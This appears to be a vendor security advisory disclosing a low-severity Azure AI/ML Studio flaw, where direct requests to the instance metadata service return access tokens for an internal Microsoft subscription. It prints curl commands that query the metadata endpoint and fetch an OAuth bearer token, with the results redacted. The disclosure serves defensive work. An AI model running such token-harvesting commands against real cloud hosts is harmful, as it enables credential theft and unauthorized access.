Microsoft Azure AI/ML Studio Information Disclosure

A security issue has been discovered within the Azure AI/ML Studio services that allows for low severity information disclosure. 

This issue allows for the generation of authentication tokens for the scopes of management.azure.com, storage.azure.com, graph.azure.com, and others. These tokens are generated for a subscription ID internal to Microsoft, rather than the user’s own subscription or tenant. Tenable does not have reason to believe that cross-tenant access was possible via this vector.

Tenable Research considers this an Information Disclosure issue with Low severity, based on Microsoft’s severity scale.

This issue stems from improper restrictions to Azure’s IMDS from hosts deployed within AI/ML Studio environments. While access to Azure’s IMDS is properly redirected when using Azure CLI tooling, the same restrictions are not applied when accessing the IMDS directly – such as via curl or other similar tools.

(azureml_py38) azureuser@gfieri2:~$ curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq .compute.subscriptionId

"f62afd7a...redacted...d9beb4e93"

(azureml_py38) azureuser@gfieri2:~$ curl -s -f -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/" | jq

{

  "access_token": "...REDACTED...",

  "expires_in": "86379",

  "expires_on": "1730491193",

  "ext_expires_in": "86399",

  "not_before": "1730404493",

  "resource": "https://management.azure.com/",

  "token_type": "Bearer"

}